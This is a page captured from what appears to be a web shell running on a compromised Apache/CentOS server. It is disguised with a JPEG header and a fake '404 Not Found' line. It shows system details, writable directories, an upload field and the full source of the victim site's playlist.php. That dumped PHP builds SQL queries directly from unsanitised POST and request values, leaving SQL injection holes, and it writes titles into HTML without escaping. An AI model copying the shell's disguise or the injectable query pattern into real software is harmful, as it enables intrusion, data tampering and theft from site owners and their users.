����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/code/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/vidoe.top/code/playlist.php
<?php
class playlist{
    function playlist()
    {
        global $CORE;
        switch ($CORE->input['code'])
        {
            default			: 	$this->goPlaylist(); break;
            case 'detail'   : $this->goDetail(); break;
            case 'playlist_user' : $this->goPlaylistUser(); break;
            case 'post_playlist' : $this->goPost(); break;
            case 'add_video_to_playlist' : $this->goAddVideo(); break;
        }
    }
    function goAddVideo(){
        global $DB;
        if(empty($_SESSION['user_id'])){
            return;
        }
        $vid = $_POST['vid'];
        $test_check = intval($_POST['test_check']);
        $pid = $_POST['pid'];
        if($test_check==1){
            $DB->query("DELETE FROM gtdesign_playlist_pages WHERE pages_id='" . $vid . "' AND playlist_id= '".$pid."' ");
            $DB->query("INSERT INTO `gtdesign_playlist_pages` (`pages_id` ,`playlist_id`
    ) VALUES ('$vid', '$pid');");
        }else{
            $DB->query("DELETE FROM gtdesign_playlist_pages WHERE pages_id='" . $vid . "' AND playlist_id= '".$pid."'");
        }
        echo $test_check;
        exit();
    }
    function goPost(){
        global $DB;
        if(empty($_SESSION['user_id'])){
            return;
        }
        $uid = $_SESSION['user_id'];
        if(isset($_POST['title'])) {
            $title = trim($_POST['title']);
        }
        if(isset($_POST['id'])) {
            $id = $_POST['id'];
        }
        $row_check = $DB->fetch_row($DB->query("SELECT id FROM gtdesign_playlist WHERE `title`='$title' AND `uid`='".$uid."' "));
        if(!$row_check){
            $row_check2 = $DB->fetch_row($DB->query("SELECT count(*) as total FROM gtdesign_playlist WHERE  `uid`='".$uid."' "));
            if($row_check2['total']<=30) {
                $DB->query(" INSERT INTO gtdesign_playlist (`uid`,`title`)  VALUES ('" . $uid . "','" . $title . "') ");
                $pl_id = mysql_insert_id();
            }else{
                echo '0';
                exit();
            }
        }else{
            $pl_id = $row_check['id'];
        }
        $show = '';
        $DB->query("DELETE FROM gtdesign_playlist_pages WHERE pages_id='" . $id . "' AND playlist_id='".$pl_id."' ");
        $DB->query("INSERT INTO `gtdesign_playlist_pages` (`pages_id` ,`playlist_id`
    ) VALUES ('$id', '$pl_id');");
        $show .= '<div class="checkbox"><label for="playlist_' . $pl_id . '"><input onclick="check_playlist(\''.$pl_id.'\',\''.$id.'\');" type="checkbox" value="' . $pl_id . '" id="playlist_' . $pl_id . '" checked>' . $title . '</label></div>';
        echo $show;
        exit();
    }
    function goPlaylistUser(){
        global $DB;
        if(empty($_SESSION['user_id'])){
            return;
        }
        $vid = $_POST['vid'];
        $q_check = $DB->query("SELECT DISTINCT playlist_id FROM gtdesign_playlist_pages WHERE pages_id='".$vid."' ");
        while($r_check = $DB->fetch_row($q_check)){
            $list_pl[] = $r_check['playlist_id'];
        }

        $uid = $_SESSION['user_id'];
        $q_pl = $DB->query("SELECT id,title FROM gtdesign_playlist WHERE uid='$uid' LIMIT 30 ");
        $show = '';
        while($r_pl = $DB->fetch_row($q_pl)){
            if(in_array($r_pl['id'],$list_pl)) {
                $show .= '<div class="checkbox"><label for="playlist_' . $r_pl['id'] . '"><input onclick="check_playlist(\''.$r_pl['id'].'\',\''.$vid.'\');" type="checkbox" value="' . $r_pl['id'] . '" id="playlist_' . $r_pl['id'] . '" checked>' . $r_pl['title'] . '</label></div>';
            }else{
                $show .= '<div class="checkbox"><label for="playlist_' . $r_pl['id'] . '"><input onclick="check_playlist(\''.$r_pl['id'].'\',\''.$vid.'\');" class="check_playlist" type="checkbox" value="' . $r_pl['id'] . '" id="playlist_' . $r_pl['id'] . '">' . $r_pl['title'] . '</label></div>';
            }
        }
        echo $show;
        exit();
    }
    function goDetail(){
        global $CORE,$DB,$smarty,$func,$INFO;

        require_once ROOT_PATH.'proxy/Google/Client.php';
        require_once ROOT_PATH.'proxy/Google/Service/YouTube.php';
        $client = new Google_Client();
        $client->setDeveloperKey($INFO['api_key']);
        $youtube = new Google_Service_YouTube($client);

        $id_playlist = intval($CORE->input['id']);
        $r_playlist = $DB->fetch_row($DB->query("SELECT id,cat,img,title,site_url,body FROM gtdesign_playlist WHERE id='".$id_playlist."' LIMIT 1 "));
        $r_playlist['title'] = trim(strip_tags(str_replace('"','&quot;',html_entity_decode($r_playlist['title']))));
        $r_playlist['body'] = preg_replace( "/\r|\n/", "<br/>",  $r_playlist['body']);
        $arr_cat = explode('@',$r_playlist['cat']);
        $txt_cat = '';
        if(!empty($arr_cat)){
            foreach($arr_cat as $val){
                $txt_cat .= '<li typeof="v:Breadcrumb"><a title="'.$val.'" property="v:title" rel="v:url" href="playlist/'.$val.'/">'.$val.'</a></li>';
            }
        }
        $r_playlist['cat'] = $txt_cat;

        $q_pages_playlist = $DB->query("SELECT pages_id FROM gtdesign_playlist_pages WHERE playlist_id = '$id_playlist'");
        while($r_pages_playlist = $DB->fetch_row($q_pages_playlist)){
            $list_id_playlist[] = $r_pages_playlist['pages_id'];
        }
        $r_playlist['total_video'] = count($list_id_playlist);
        $txt_id_playlist = implode(',',$list_id_playlist);
        if(strpos($r_playlist['site_url'],'phim7.com')!==false or strpos($r_playlist['site_url'],'youtube.com')!==false or strpos($r_playlist['site_url'],'anime47.com')!==false){
            $order_by = 'ASC';
        }else{
            $order_by = 'DESC';
        }
        if(!empty($txt_id_playlist)) {
            $q_video_playlist = $DB->query("SELECT * FROM gtdesign_pages WHERE id IN ($txt_id_playlist) ORDER BY id " . $order_by . " ");

            while ($r_video_playlist = $DB->fetch_row($q_video_playlist)) {
                $r_video_playlist['ftitle'] = $func->format_string($r_video_playlist['title']);
                $r_video_playlist['title'] = trim(strip_tags(str_replace('"','&quot;',$r_video_playlist['title'])));
                if(is_numeric($r_video_playlist['duration'])){
                    $r_video_playlist['duration'] = gmdate('H:i:s', $r_video_playlist['duration']);
                }
                $list_video_playlist[] = $r_video_playlist;
            }
        }
        $smarty->assign('list_video_playlists',$list_video_playlist);
        $smarty->assign('playlists',$r_playlist);
        $smarty->assign('title',$r_playlist['title']);
        $smarty->assign('description',trim(strip_tags(str_replace('"','&quot;',html_entity_decode($r_playlist['body'])))));
        $smarty->assign('cur_url',$func->current_url());
        $smarty->assign('og_img',$r_playlist['img']);
        $smarty->assign('keywords',str_replace(' ',',',$r_playlist['title']));

        //api video lien quan
        if(empty($r_playlist['title'])){
            $r_playlist['title'] = str_replace('-',' ',$CORE->input['ftitle']);
        }
        $vq = str_replace('-', '', trim($r_playlist['title']));
        $vq = str_replace(' ', '+', $vq);
        //get video annoder api




        $searchResponse = $youtube->search->listSearch('id,snippet', array(
            'q' => $vq,
            'type' => 'video',
            'maxResults' => 21,
            'videoEmbeddable' => 'true'
        ));
        $list = array();
        $list2 = array();
        foreach ($searchResponse['items'] as $searchResult) {
            $list['title'] = $searchResult['snippet']['title'];
            $list['id_you'] = $searchResult['id']['videoId'];
            $arr_xml['video_info'][] = $list;
        }
        $arr_xml['nextPageToken'] = $searchResponse['nextPageToken'];
        $arr_xml['prevPageToken'] = $searchResponse['prevPageToken'];


        if (!empty($arr_xml)) {
            foreach ($arr_xml['video_info'] as $video) {
                $relate['ftitle'] = $func->format_string($video['title']);
                $relate['title'] = trim(strip_tags(str_replace('"','&quot;',html_entity_decode($video['title']))));
                $relate['id_you'] = $video['id_you'];
                $relate['img'] = 'http://img.youtube.com/vi/' . $relate['id_you'] . '/mqdefault.jpg';
                $relate['id_you_encode'] = bin2hex($func->str_encode($relate['id_you'], 'ngocgiac'));
                //$relate['duration'] = 'by Phim19';
                $relate['hit'] = rand(100, 1000);
                $list2[] = $relate;
            }
        }

        $smarty->assign('list2s',$list2);

    }

    function goPlaylist(){
        global $smarty,$DB,$func,$print,$CORE;

        $where = ' WHERE is_movie<>1 ';
        $cat = 'Dramas';
        if(isset($CORE->input['cat']) and $CORE->input['cat']!='Dramas'){
            $cat = $CORE->input['cat'];
            $where .= " AND cat LIKE '%".$cat."%' ";
        }

        $pageNum = isset($_GET['pageNum']) ? intval($_GET['pageNum']) : 1;
        $pageSize = 30 ;
        $from = (($pageNum * $pageSize) - $pageSize);
        $row_total_news = $DB->fetch_row($DB->query("SELECT count(*) as total FROM gtdesign_playlist ".$where));
        $total = $row_total_news['total'];

        $totalPage = ceil($total/$pageSize);
        $smarty->assign('totalpage',$totalPage);
        $q2 = $DB->query(" SELECT * FROM gtdesign_playlist ".$where." ORDER BY time DESC,id DESC LIMIT $from,$pageSize ");
        while($r2 = $DB->fetch_row($q2)){
            $row_count = $DB->fetch_row($DB->query("SELECT count(*) as total FROM gtdesign_playlist_pages WHERE playlist_id='".$r2['id']."' "));
            $r2['total'] = $row_count['total'];
            $r2['ftitle'] = $func->format_string($r2['title']);
            $r2['title'] = trim(strip_tags(str_replace('"','&quot;',$r2['title'])));
            $list_pl[] = $r2;
        }
        $smarty->assign('list_news',$list_pl);
        $nav = $print->Pagination($totalPage,$pageNum,'pages','index.php?act=playlist&cat='.$cat);
        $smarty->assign('nav',$nav);
        $smarty->assign('cat',$cat);
        if($pageNum<=1) {
            $smarty->assign('title', 'TV Dramas '.$cat);
        }else{
            $smarty->assign('title', 'TV Dramas Page '.$pageNum.' '.$cat);
        }
    }

}//end class
// Run class
$run	=	new playlist();
?>

ZeroDay Forums Mini